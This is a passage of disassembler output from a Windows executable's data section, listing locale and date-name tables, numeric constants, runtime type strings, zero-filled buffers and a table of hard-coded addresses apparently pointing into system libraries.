"spanish-panama" dd 415345h dd offset aSpanishParagua ; "spanish-paraguay" dd 5A5345h dd offset aSpanishPeru ; "spanish-peru" dd 525345h dd offset aSpanishPuertoR ; "spanish-puerto rico" dd 555345h dd offset aSpanishUruguay ; "spanish-uruguay" dd 595345h dd offset aSpanishVenezue ; "spanish-venezuela" dd 565345h dd offset aSwedishFinland ; "swedish-finland" dd offset byte_465653 dd offset aSwiss ; "swiss" dd 534544h dd offset aUk ; "uk" dd offset byte_474E45 dd offset aUs ; "us" dd 554E45h dd offset aUsa ; "usa" dd 554E45h ; void *off_454E38 off_454E38 dd offset off_454E40 ; DATA XREF: ___init_time+70w ; ___init_time:loc_433C71w ... align 10h off_454E40 dd offset aSun ; DATA XREF: ___init_time:loc_433C71o ; .data:off_454E38o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset aDecember ; "December" dd offset aAm_0 ; "AM" dd offset aPm_2 ; "PM" dd offset aMDYy ; "M/d/yy" dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset aHMmSs ; "H:mm:ss" align 10h dword_454EF0 dd 2Eh, 0 ; DATA XREF: ___init_numeric+EEo ; .data:off_454EF8o off_454EF8 dd offset dword_454EF0 ; DATA XREF: ___init_monetary+D4w ; ___init_monetary+F6o ... off_454EFC dd offset dword_4F3894 ; DATA XREF: ___init_monetary+E2w off_454F00 dd offset dword_4F3894 ; DATA XREF: ___init_monetary+F1w dd offset dword_4F3894 dd offset dword_4F3894 dd offset dword_4F3894 dd offset dword_4F3894 dd offset dword_4F3894 dd offset dword_4F3894 dd offset dword_4F3894 dd 2 dup(7F7F7F7Fh) off_454F28 dd offset off_454EF8 ; DATA XREF: ___init_numeric:loc_434639r ; ___init_numeric+F8r ... align 10h dword_454F30 dd 2 dup(0) ; DATA XREF: ___multtenpow12+6o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_455090 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: ___multtenpow12+2Ao dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_4551F0 dd offset off_43E178 ; DATA XREF: .rdata:off_43E1B8o ; .rdata:0043E2E4o ... align 8 a_?avexception@ db '.?AVexception@@',0 off_455208 dd offset off_43E178 ; DATA XREF: .rdata:off_43E1D0o ; .rdata:0043E214o ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_455228 dd offset off_43E178 ; DATA XREF: .rdata:off_43E220o ; .rdata:0043E264o ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_455248 dd offset off_43E178 ; DATA XREF: .rdata:off_43E270o ; .rdata:0043E2B4o ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_455268 dd offset off_43E178 ; DATA XREF: .rdata:off_43E2F0o ; .rdata:0043E32Co align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) align 8 dword_455288 dd 2 dup(0) ; DATA XREF: sub_401317+C8o dword_455290 dd 2 dup(0) ; DATA XREF: sub_401317+62o ; char dword_455298[] dword_455298 dd 0 ; DATA XREF: WinMain(x,x,x,x)+38Fo ; sub_401CC7+AF0o ... dd 5 dup(0) dword_4552B0 dd 0 ; DATA XREF: sub_401CC7+B4Cr ; sub_415B47+60r dd 24h dup(0) db 0 byte_455345 db 3 dup(0) ; DATA XREF: .data:00454DB4o dd 0C2h dup(0) db 3 dup(0) byte_455653 db 0 ; DATA XREF: .data:00454780o dd 3Fh dup(0) db 3 dup(0) byte_455753 db 0 ; DATA XREF: .data:00454788o dd 0BBh dup(0) db 3 dup(0) byte_455A43 db 0 ; DATA XREF: .data:00454B94o dd 0F5h dup(0) dword_455E18 dd 0 ; DATA XREF: sub_401CC7+5EE3r ; sub_401CC7+5FC0r ... dd 7Fh dup(0) dword_456018 dd 0 ; DATA XREF: sub_40B756+41w ; sub_40B891+40w ... dword_45601C dd 0 ; DATA XREF: sub_40B756+47w ; sub_40B891+46w ... dword_456020 dd 0 ; DATA XREF: sub_40B756+52w ; sub_40B891+3Ar ... dword_456024 dd 0 ; DATA XREF: sub_401317+Cr ; sub_4019E7+B9w ... dword_456028 dd 0 ; DATA XREF: sub_40B891+75r ; sub_40BA72+2Aw ... dword_45602C dd 0 ; DATA XREF: WinMain(x,x,x,x)+3DEw ; WinMain(x,x,x,x)+456w ... byte_456030 db 0 ; DATA XREF: sub_4019E7+91o ; sub_401CC7+5E28r ... align 4 dd 503h dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: .data:off_44F70Co dd 3345h dup(0) db 2 dup(0) word_46415A dw 0 ; DATA XREF: .data:004549C4o ; .data:00454BECo ... dd 47Ah dup(0) db 0 byte_465345 db 3 dup(0) ; DATA XREF: .data:00454AC4o ; .data:00454DACo dd 0C2h dup(0) db 3 dup(0) byte_465653 db 0 ; DATA XREF: .data:00454E14o dd 3D3Dh dup(0) dword_474B48 dd 0BFh dup(0) ; DATA XREF: .data:00454BB4o db 0 byte_474E45 db 3 dup(0) ; DATA XREF: .data:00454CF4o ; .data:00454E24o dd 0FEh dup(0) db 0 byte_475241 db 3 dup(0) ; DATA XREF: .data:00454AA0o dd 40h dup(0) db 0 byte_475345 db 3 dup(0) ; DATA XREF: .data:004548E0o ; .data:00454DBCo dd 3D44h dup(0) db 2 dup(0) word_48485A dw 0 ; DATA XREF: .data:00454C64o ; .data:00454C7Co dd 2BAh dup(0) db 0 byte_485345 db 3 dup(0) ; DATA XREF: .data:00454DC4o dd 3D44h dup(0) db 2 dup(0) word_49485A dw 0 ; DATA XREF: .data:00454C6Co ; .data:00454C8Co dd 17Ah dup(0) db 0 byte_494E45 db 3 dup(0) ; DATA XREF: .data:00454CCCo ; .data:00454D4Co dd 0FEh dup(0) db 3 dup(0) byte_495243 db 0 ; DATA XREF: .data:00454940o align 10h dword_495250 dd 3Dh dup(0) ; DATA XREF: .data:00454BDCo db 0 byte_495345 db 3 dup(0) ; DATA XREF: .data:00454DDCo dd 3EBFh dup(0) db 0 byte_4A4E45 db 3 dup(0) ; DATA XREF: .data:00454CD4o dd 40FFh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: .data:off_44F8A0o dd 102h dup(0) db 3 dup(0) byte_4B5653 db 0 ; DATA XREF: .data:00454BE4o dd 3BBBh dup(0) db 2 dup(0) word_4C4542 dw 0 ; DATA XREF: .data:0045480Co dword_4C4544 dd 0BFh dup(0) ; DATA XREF: .data:00454D3Co db 3 dup(0) byte_4C4843 db 0 ; DATA XREF: .data:00454AF8o dd 180h dup(0) db 0 byte_4C4E45 db 3 dup(0) ; DATA XREF: .data:00454CB4o dd 3Eh dup(0) db 3 dup(0) byte_4C4F43 db 0 ; DATA XREF: .data:00454A48o dd 0C0h dup(0) db 2 dup(0) word_4C5246 dw 0 ; DATA XREF: .data:00454964o ; .data:00454D1Co dd 3Fh dup(0) db 0 byte_4C5345 db 3 dup(0) ; DATA XREF: .data:00454AF0o ; .data:00454D8Co db 0 byte_4C5349 db 3 dup(0) ; DATA XREF: .data:00454754o ; .data:0045475Co dd 1C0h dup(0) db 2 dup(0) word_4C5A4E dw 0 ; DATA XREF: .data:00454BBCo ; .data:00454BC4o dd 39C0h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .data:off_44EAE8o dd 37Ch dup(0) dword_4D4F44 dd 100h dup(0) ; DATA XREF: .data:004549F0o db 0 byte_4D5345 db 3 dup(0) ; DATA XREF: .data:004547D8o ; .data:00454DCCo dd 3Fh dup(0) db 3 dup(0) byte_4D5447 db 0 ; DATA XREF: .data:004548E8o dd 3674h dup(0) dword_4E2E18 dd 2BECh ; DATA XREF: sub_401317+FDw ; sub_40B756+13o ... dword_4E2E1C dd 1Fh ; DATA XREF: WinMain(x,x,x,x)+3Dw ; sub_401CC7:loc_4046C2r ... dword_4E2E20 dd 0 ; DATA XREF: WinMain(x,x,x,x):loc_4018F9o ; char Dest[] Dest db 80h dup(0) ; DATA XREF: WinMain(x,x,x,x)+495o ; WinMain(x,x,x,x)+52Fo ... ; char byte_4E2EA4[] byte_4E2EA4 db 40h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4ABo ; char byte_4E2EE4[] byte_4E2EE4 db 90h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4C2o dword_4E2F74 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4B6w ; WinMain(x,x,x,x)+546w ... dword_4E2F78 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4D5w dd 3 dup(0) dword_4E2F88 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4E3w ; WinMain(x,x,x,x)+4FAr ... dword_4E2F8C dd 0 ; DATA XREF: WinMain(x,x,x,x)+49Aw ; sub_401CC7+8A9r dword_4E2F90 dd 0 ; DATA XREF: .data:0043F264o dword_4E2F94 dd 0 ; DATA XREF: WinMain(x,x,x,x)+24Do ; char byte_4E2F98[] byte_4E2F98 db 4 dup(0) ; DATA XREF: sub_401CC7+7E87o dword_4E2F9C dd 0 ; DATA XREF: sub_401CC7+232Co ; char byte_4E2FA0[] byte_4E2FA0 db 4 dup(0) ; DATA XREF: sub_401CC7+1EE0o ; char byte_4E2FA4[] byte_4E2FA4 db 4 dup(0) ; DATA XREF: sub_401CC7+40C3o ; char byte_4E2FA8[] byte_4E2FA8 db 4 dup(0) ; DATA XREF: sub_401CC7+4215o ; char byte_4E2FAC[] byte_4E2FAC db 4 dup(0) ; DATA XREF: sub_401CC7+449Fo ; char byte_4E2FB0[] byte_4E2FB0 db 4 dup(0) ; DATA XREF: sub_401CC7+5C4Bo dword_4E2FB4 dd 77C72C6Bh ; DATA XREF: sub_409DD4+4A7w ; sub_409DD4+4EBr ... dword_4E2FB8 dd 77EBA994h ; DATA XREF: sub_409DD4+65w ; sub_41A589+166r dword_4E2FBC dd 7622A3F4h ; DATA XREF: sub_409DD4+80Bw ; sub_409DD4+880r ... dword_4E2FC0 dd 71C45229h ; DATA XREF: sub_409DD4+9D8w ; sub_409DD4+A43r ... dword_4E2FC4 dd 71C24870h ; DATA XREF: sub_409DD4+98Aw ; sub_409DD4+A13r ... dword_4E2FC8 dd 77C71BB0h ; DATA XREF: sub_409DD4+48Dw ; sub_409DD4+4DBr ... dword_4E2FCC dd 77D4808Bh ; DATA XREF: sub_409DD4+213w ; sub_409DD4+234r ... dword_4E2FD0 dd 71C4502Ch ; DATA XREF: sub_409DD4+9CBw ; sub_409DD4+A3Br ... dword_4E2FD4 dd 77DE801Bh ; DATA XREF: sub_409DD4+372w ; sub_409DD4+3C7r ... dword_4E2FD8 dd 77DDACABh ; DATA XREF: sub_409DD4+40Fw ; sub_41B92C+11Er dword_4E2FDC dd 77DE8075h ; DATA XREF: sub_409DD4+37Fw ; sub_409DD4+3CFr ... dword_4E2FE0 dd 77DD7496h ; DATA XREF: sub_409DD4+3C0w ; sub_419B5B+ADr dword_4E2FE4 dd 71AB1B7Bh ; DATA XREF: sub_409DD4+55Aw ; sub_40FB50+115r ... dword_4E2FE8 dd 77E686CCh ; DATA XREF: sub_409DD4+72w ; sub_409DD4+D2r ... dword_4E2FEC dd 71C2498Bh ; DATA XREF: sub_409DD4+97Dw ; sub_409DD4+A06r ... dword_4E2FF0 dd 77DDAB2Fh ; DATA XREF: sub_409DD4+3A6w ; sub_409DD4+3E7r ... dword_4E2FF4 dd 7620E8C3h ; DATA XREF: sub_409DD4+859w ; sub_409DD4+8ACr ... dword_4E2FF8 dd 77DD23D7h ; DATA XREF: sub_409DD4+2A5w ; sub_409DD4+2F0r ... dword_4E2FFC dd 76214750h ; DATA XREF: sub_409DD4+84Cw ; sub_409DD4+8A4r ... dword_4E3000 dd 77E6D75Bh ; DATA XREF: sub_409DD4+B3w dword_4E3004 dd 7620BD61h ; DATA XREF: sub_409DD4+866w ; sub_409DD4+8B4r ... dword_4E3008 dd 71AB60C9h ; DATA XREF: sub_409DD4+54Dw ; sub_409DD4+6D0r ... dword_4E300C dd 77EBA6E9h ; DATA XREF: sub_409DD4+58w ; sub_409DD4+CAr ... dword_4E3010 dd 76D62A58h ; DATA XREF: sub_409DD4+934w ; sub_413D05+11Ar dword_4E3014 dd 76F36EAAh ; DATA XREF: sub_401CC7:loc_404110r ; sub_409DD4+A95w ... dword_4E3018 dd 77E802FCh ; DATA XREF: sub_409DD4+A6w ; sub_409DD4+F2r ... dword_4E301C dd 77C75455h ; DATA XREF: sub_409DD4+480w ; sub_409DD4+4D3r ... dword_4E3020 dd 71AB12A7h ; DATA XREF: sub_409DD4+5F6w ; sub_40C603+20r ... dword_4E3024 dd 71C574FAh ; DATA XREF: sub_409DD4+9BEw ; sub_409DD4+A33r dword_4E3028 dd 71AB1746h ; DATA XREF: sub_409DD4+5E9w ; sub_409DD4+754r ... dword_4E302C dd 71C21CA3h ; DATA XREF: sub_409DD4+A0Cw dword_4E3030 dd 71B28D0Dh ; DATA XREF: sub_409DD4+B50w dword_4E3034 dd 762211EFh ; DATA XREF: sub_409DD4+7FEw ; sub_409DD4+86Dr dword_4E3038 dd 77D902E3h ; DATA XREF: sub_409DD4+1B3w ; sub_4190D4+15r dword_4E303C dd 71C2FA86h ; DATA XREF: sub_409DD4+997w ; sub_409DD4+A1Br ... dword_4E3040 dd 77DE1291h ; DATA XREF: sub_409DD4+38Cw ; sub_409DD4+3D7r ... dword_4E3044 dd 77E2C1B3h ; DATA XREF: sub_409DD4+399w ; sub_409DD4+3DFr ... dword_4E3048 dd 73B81E3Bh ; DATA XREF: sub_409DD4+C85w ; sub_409DD4+C8Cr ... dword_4E304C dd 71ABF628h ; DATA XREF: sub_409DD4+6ACw ; sub_411240+D0r dword_4E3050 dd 71AB1836h ; DATA XREF: sub_401317+1Dr ; sub_401317+23r ... dword_4E3054 dd 77C72889h ; DATA XREF: sub_409DD4+4B4w ; sub_415F1E+207r dword_4E3058 dd 71C453F8h ; DATA XREF: sub_409DD4+9E5w ; sub_409DD4+A4Br ... dword_4E305C dd 77DD5C55h ; DATA XREF: sub_401000+51r ; sub_409DD4+2B2w ... dword_4E3060 dd 77E96645h ; DATA XREF: sub_409DD4+7Fw ; sub_409DD4+DAr ... dword_4E3064 dd 77428B97h ; DATA XREF: sub_401CC7+5992r ; sub_401CC7+7A8Ar ... dword_4E3068 dd 71AB41DAh ; DATA XREF: WinMain(x,x,x,x)+8Cr ; sub_401CC7+5198r ... dword_4E306C dd 762059A3h ; DATA XREF: sub_409DD4+825w ; sub_409DD4+890r ... dword_4E3070 dd 71C4A1B4h ; DATA XREF: sub_409DD4+9A4w ; sub_409DD4+A23r dword_4E3074 dd 1F7CD214h ; DATA XREF: sub_409DD4+C0Ew ; sub_409DD4+C3Fr dword_4E3078 dd 77E09134h ; DATA XREF: sub_409DD4+2CCw ; sub_41927E+47r dword_4E307C dd 77D4456Bh ; DATA XREF: sub_409DD4+22Dw ; sub_412775+40r ... dword_4E3080 dd 76D629BBh ; DATA XREF: sub_409DD4+91Aw ; sub_409DD4+92Er ... dword_4E3084 dd 1F7B9D96h ; DATA XREF: sub_409DD4+C28w dword_4E3088 dd 77E09070h ; DATA XREF: sub_409DD4+2D9w ; sub_41927E+4Fr dword_4E308C dd 71AB1740h ; DATA XREF: sub_409DD4+574w ; sub_409DD4+6E8r ... dword_4E3090 dd 7620AFB6h ; DATA XREF: sub_409DD4+83Fw ; sub_409DD4+873r dword_4E3094 dd 77D5C13Ah ; DATA XREF: sub_409DD4+220w ; sub_409DD4+23Cr ... dword_4E3098 dd 77D45B19h ; DATA XREF: sub_409DD4+172w ; sub_409DD4+1C2r ... dword_4E309C dd 71AB157Eh ; DATA XREF: sub_401CC7+1E21r ; sub_401CC7+5B48r ... dword_4E30A0 dd 71AB3E5Dh ; DATA XREF: sub_4019E7+C4r ; sub_401CC7+5222r ... dword_4E30A4 dd 71AB14DCh ; DATA XREF: sub_409DD4+567w ; sub_409DD4+6DCr ... dword_4E30A8 dd 0CC0004h ; DATA XREF: sub_409DD4+8DBw ; sub_409DD4:loc_40A6CDw ... dword_4E30AC dd 77DD590Bh ; DATA XREF: sub_401000+26r ; sub_409DD4+28Bw ... dword_4E30B0 dd 71ABD755h ; DATA XREF: sub_401CC7+7A0Fr ; sub_409DD4+69Fw ... dword_4E30B4 dd 77DF7311h ; DATA XREF: sub_409DD4+32Dw ; sub_409DD4+341r ... dword_4E30B8 dd 77DDA2AFh ; DATA XREF: sub_409DD4+3B3w ; sub_409DD4+3EFr ... dword_4E30BC dd 1F7CD927h ; DATA XREF: sub_409DD4+C01w ; sub_409DD4+C37r dword_4E30C0 dd 76206853h ; DATA XREF: sub_409DD4+818w ; sub_409DD4+888r ... dword_4E30C4 dd 77D4932Ch ; DATA XREF: sub_409DD4+206w ; sub_409DD4+227r ... dword_4E30C8 dd 77D5E310h ; DATA XREF: sub_409DD4+18Cw ; sub_409DD4+1D2r ... dword_4E30CC dd 76206B7Fh ; DATA XREF: sub_409DD4+832w ; sub_409DD4+898r ... dword_4E30D0 dd 71AB1444h ; DATA XREF: sub_409DD4+624w ; sub_409DD4+774r ... dword_4E30D4 dd 77DD189Ah ; DATA XREF: sub_401000+5Ar ; sub_409DD4+2BFw ... dword_4E30D8 dd 71AB3F8Dh ; DATA XREF: sub_409DD4+66Bw ; sub_409DD4+79Cr ... dword_4E30DC dd 77DD5D20h ; DATA XREF: sub_409DD4+320w ; sub_409DD4+334r ... dword_4E30E0 dd 71AB1890h ; DATA XREF: sub_409DD4+644w ; sub_409DD4+784r ... dword_4E30E4 dd 77C76B34h ; DATA XREF: sub_409DD4+44Cw ; sub_409DD4+4AEr ... dword_4E30E8 dd 77D5E38Ch ; DATA XREF: sub_409DD4+199w ; sub_409DD4+1DAr ... dword_4E30EC dd 77DDA20Bh ; DATA XREF: sub_409DD4+365w ; sub_409DD4+3BAr ... dword_4E30F0 dd 76F36EEBh ; DATA XREF: sub_409DD4+AA2w dword_4E30F4 dd 71AB12A7h ; DATA XREF: sub_409DD4+5DCw ; sub_409DD4+748r ... dword_4E30F8 dd 71AB1746h ; DATA XREF: sub_4019E7+3Er ; sub_401CC7+51D4r ... dword_4E30FC dd 77EBA595h ; DATA XREF: sub_409DD4+4Bw ; sub_409DD4+C2r ... dword_4E3100 dd 77C7531Dh ; DATA XREF: sub_409DD4+473w ; sub_409DD4+4CBr ... dword_4E3104 dd 77D4BDCAh ; DATA XREF: sub_409DD4+165w ; sub_409DD4+1BAr ... dword_4E3108 dd 71C3516Ah ; DATA XREF: sub_409DD4+9FFw ; sub_409DD4+A5Br ... dword_4E310C dd 71AB32CAh ; DATA XREF: sub_409DD4+685w ; sub_409DD4+7ACr ... dword_4E3110 dd 71AB5690h ; DATA XREF: sub_401B4F+D1r ; sub_401CC7+5237r ... dword_4E3114 dd 1F7CB8F8h ; DATA XREF: sub_409DD4+C1Bw ; sub_409DD4+C47r dword_4E3118 dd 77EBB1E7h ; DATA XREF: sub_409DD4+3Ew ; sub_409DD4+BAr ... dword_4E311C dd 77DD59F0h ; DATA XREF: sub_401000+45r ; sub_409DD4+298w ... dword_4E3120 dd 71AB5DE2h ; DATA XREF: sub_409DD4+651w ; sub_409DD4+78Cr ... dword_4E3124 dd 71AB3ECEh ; DATA XREF: sub_409DD4+637w ; sub_409DD4+77Cr ... dword_4E3128 dd 73B81B0Fh ; DATA XREF: sub_401CC7+7462r ; sub_409DD4+C92w dword_4E312C dd 76204E4Dh ; DATA XREF: sub_409DD4+879w ; sub_416F62+4DCr ... dword_4E3130 dd 0 ; DATA XREF: sub_409DD4+112w dword_4E3134 dd 1F7D886Ah ; DATA XREF: sub_409DD4+BE7w ; sub_409DD4+C22r dword_4E3138 dd 71AB12F8h ; DATA XREF: sub_401CC7+2FDEr ; sub_401CC7+6019r ... dword_4E313C dd 77C76551h ; DATA XREF: sub_409DD4+459w ; sub_409DD4+4BBr ... dword_4E3140 dd 77C729E2h ; DATA XREF: sub_409DD4+49Aw ; sub_409DD4+4E3r ... dword_4E3144 dd 77C7212Fh ; DATA XREF: sub_409DD4+466w ; sub_409DD4+4C3r ... dword_4E3148 dd 71AB1AF4h ; DATA XREF: sub_401B4F+89r ; sub_401CC7+5254r ... dword_4E314C dd 77D5E303h ; DATA XREF: sub_409DD4+1A6w ; sub_409DD4+1E2r ... dword_4E3150 dd 71C4576Ch ; DATA XREF: sub_409DD4+9F2w ; sub_409DD4+A53r ... dword_4E3154 dd 77D4702Fh ; DATA XREF: sub_409DD4+158w ; sub_409DD4+1ADr ... dword_4E3158 dd 77E6C0E3h ; DATA XREF: sub_409DD4+8Cw ; sub_409DD4+E2r ... dword_4E315C dd 71AB1ED3h ; DATA XREF: sub_409DD4+610w ; sub_409DD4+764r ... dword_4E3160 dd 71B2A381h ; DATA XREF: sub_409DD4+B43w ; sub_409DD4+B5Fr dword_4E3164 dd 77DDA595h ; DATA XREF: sub_409DD4+33Aw ; sub_41A51E+55r dword_4E3168 dd 77DD22EAh ; DATA XREF: sub_409DD4+27Ew ; sub_409DD4+2D3r ... dword_4E316C dd 773F97B0h ; DATA XREF: sub_409DD4+BAAw dword_4E3170 dd 76D67A29h ; DATA XREF: sub_409DD4+AECw ; sub_40AE8D+D4r dword_4E3174 dd 76D674FAh ; DATA XREF: sub_409DD4+ADFw ; sub_409DD4+AE6r ... dword_4E3178 dd 71AB3C22h ; DATA XREF: sub_4019E7+A6r ; sub_401CC7+51B3r ... dword_4E317C dd 71AB2BBFh ; DATA XREF: sub_401CC7+51A5r ; sub_401CC7+7A36r ... dword_4E3180 dd 1F7BA3A9h ; DATA XREF: sub_409DD4+BF4w ; sub_409DD4+C2Fr dword_4E3184 dd 71AB401Ch ; DATA XREF: sub_401CC7+1E47r ; sub_401CC7+5B6Er ... dword_4E3188 dd 71C214BAh ; DATA XREF: sub_409DD4+9B1w ; sub_409DD4+A2Br ... dword_4E318C dd 71AB868Dh ; DATA XREF: sub_409DD4+65Ew ; sub_409DD4+794r ... dword_4E3190 dd 71AB1A6Dh ; DATA XREF: sub_401317+12r ; sub_4019E7+D0r ... dword_4E3194 dd 71AB155Ah ; DATA XREF: sub_409DD4+59Bw ; sub_409DD4+70Cr ... dword_4E3198 dd 71B22C25h ; DATA XREF: sub_409DD4+B36w ; sub_409DD4+B57r dword_4E319C dd 71AB5A01h ; DATA XREF: sub_409DD4+540w ; sub_409DD4+6C4r ... dword_4E31A0 dd 71B2ACCBh ; DATA XREF: sub_409DD4+B29w ; sub_409DD4+B4Ar dword_4E31A4 dd 77E78C17h ; DATA XREF: WinMain(x,x,x,x)+52r ; sub_409DD4+31w ... dword_4E31A8 dd 77D49A11h ; DATA XREF: sub_409DD4+17Fw ; sub_409DD4+1CAr ... align 10h dword_4E31B0 dd 76D62A37h ; DATA XREF: sub_409DD4+927w ; sub_409DD4+93Br ... dword_4E31B4 dd 77E6CBF9h ; DATA XREF: sub_409DD4+99w ; sub_409DD4+EAr ... dword_4E31B8 dd 0 ; DATA XREF: sub_409DD4:loc_409ED2w ; sub_409DD4+12Bw ... dword_4E31BC dd 0 ; DATA XREF: sub_409DD4+126w ; sub_40AA90+1Cr dword_4E31C0 dd 0 ; DATA XREF: sub_409DD4:loc_409FC2w ; sub_409DD4:loc_40A029w ... dword_4E31C4 dd 0 ; DATA XREF: sub_409DD4+250w ; sub_40AA90+50r dword_4E31C8 dd 0 ; DATA XREF: WinMain(x,x,x,x)+349r ; sub_401CC7+455Fr ... dword_4E31CC dd 0 ; DATA XREF: sub_409DD4+41Ew ; sub_40AA90+84r dword_4E31D0 dd 0 ; DATA XREF: sub_409DD4:loc_40A2D8w ; sub_40AA90:loc_40AB40r dword_4E31D4 dd 0 ; DATA XREF: sub_409DD4+4FFw ; sub_40AA90+B8r dword_4E31D8 dd 0 ; DATA XREF: sub_409DD4:loc_40A5A9w ; sub_40AA90:loc_40AB74r dword_4E31DC dd 0 ; DATA XREF: sub_409DD4+7D0w ; sub_40AA90+ECr dword_4E31E0 dd 0 ; DATA XREF: sub_409DD4:loc_40A694w ; sub_409DD4+8EFw ... dword_4E31E4 dd 0 ; DATA XREF: sub_409DD4+8EAw ; sub_40AA90+120r dword_4E31E8 dd 0 ; DATA XREF: sub_401CC7:loc_407192r ; sub_409DD4:loc_40A728w ... dword_4E31EC dd 0 ; DATA XREF: sub_409DD4+94Fw ; sub_40AA90+154r dword_4E31F0 dd 0 ; DATA XREF: sub_401CC7+4567r ; sub_409DD4:loc_40A844w ... dword_4E31F4 dd 0 ; DATA XREF: sub_409DD4+A6Bw ; sub_40AA90+188r dword_4E31F8 dd 0 ; DATA XREF: sub_409DD4:loc_40A88Ew ; sub_40AA90:loc_40AC44r dword_4E31FC dd 0 ; DATA XREF: sub_409DD4+AB5w ; sub_40AA90+1BCr dword_4E3200 dd 0 ; DATA XREF: sub_409DD4:loc_40A8D8w ; sub_40AA90:loc_40AC78r dword_4E3204 dd 0 ; DATA XREF: sub_409DD4+AFFw ; sub_40AA90+1F0r dword_4E3208 dd 0 ; DATA XREF: sub_409DD4:loc_40A94Cw ; sub_40AA90:loc_40ACACr dword_4E320C dd 0 ; DATA XREF: sub_409DD4+B73w ; sub_40AA90+224r dword_4E3210 dd 0 ; DATA XREF: sub_409DD4:loc_40A996w ; sub_40AA90:loc_40ACE0r dword_4E3214 dd 0 ; DATA XREF: sub_409DD4+BBDw ; sub_40AA90+258r dword_4E3218 dd 0 ; DATA XREF: sub_409DD4:loc_40AA34w ; sub_40AA90:loc_40AD14r dword_4E321C dd 0 ; DATA XREF: sub_409DD4+C5Bw ; sub_40AA90+28Cr dword_4E3220 dd 0 ; DATA XREF: sub_409DD4:loc_40AA7Ew ; sub_40AA90:loc_40AD48r dword_4E3224 dd 0 